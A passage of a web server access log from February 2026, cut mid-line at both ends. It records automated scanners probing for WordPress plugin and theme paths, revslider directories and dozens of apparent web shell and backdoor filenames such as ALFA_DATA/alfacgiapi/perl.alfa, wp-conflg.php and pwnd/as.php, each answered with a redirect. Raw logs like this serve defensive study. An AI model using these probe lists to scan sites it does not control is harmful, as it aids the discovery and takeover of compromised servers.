AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:02 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:08:02 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:08:02 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:03 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:08:03 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:08:03 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:04 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:08:04 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:04 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:08:05 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:05 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:06 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:06 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:08:06 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:07 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:07 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:07 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:08 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:08 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:08:08 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:08:09 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:09 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:09 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:08:10 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:10 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:10 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:11 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:11 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:08:11 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:12 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:12 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:13 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:13 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:13 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:14 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:14 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:14 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:15 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:15 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:08:15 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:08:16 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:16 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:16 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:17 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:17 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:17 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:18 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:08:18 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:18 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:19 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:08:19 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:08:19 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:20 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:08:20 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:20 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:21 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:08:21 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:08:21 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:22 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 213.209.159.151 - - [05/Feb/2026:07:25:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 154.44.30.68 - - [05/Feb/2026:07:44:55 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.118.44.182 - - [05/Feb/2026:07:34:48 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:22 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:23 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:23 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:08:23 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:24 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:24 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:08:24 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:08:25 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:08:25 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:08:25 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:26 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:08:26 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:26 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:08:27 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:08:27 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:27 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:08:28 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:28 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:28 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 109.107.175.41 - - [05/Feb/2026:08:30:19 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 165.22.9.240 - - [05/Feb/2026:09:29:32 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 49.51.178.45 - - [05/Feb/2026:09:32:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.43.235 - - [05/Feb/2026:09:15:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.3604.138 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 172.190.142.176 - - [05/Feb/2026:10:13:30 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:03 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:13:58 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:13:58 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 117.62.235.53 - - [05/Feb/2026:09:47:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [05/Feb/2026:10:13:44 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:13:50 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:16:47 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:15:05 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:15:28 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:15:21 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:15:21 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:15:39 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:15:55 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:22 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:24 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:26 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:28 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:31 +0300] "GET /zczv.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:27 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:30 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:35 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:38 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:42 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:16:28 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:16:42 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:08 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:14 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:14 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:55 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:16:02 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:16:14 +0300] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 43.157.95.131 - - [05/Feb/2026:10:26:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [05/Feb/2026:10:15:00 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:16:19 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:15:11 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:16:55 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:17:02 +0300] "GET /wp4.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:13 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:16 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:18 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:22 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:14:47 +0300] "GET /ov.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:15:33 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [05/Feb/2026:10:16:37 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.213.24.235 - - [05/Feb/2026:11:49:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.36.27 - - [05/Feb/2026:12:35:27 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 35.196.224.184 - - [05/Feb/2026:12:44:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 59.153.100.98 - - [05/Feb/2026:13:27:56 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 167.86.118.77 - - [05/Feb/2026:13:27:15 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.153.76.247 - - [05/Feb/2026:15:25:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) 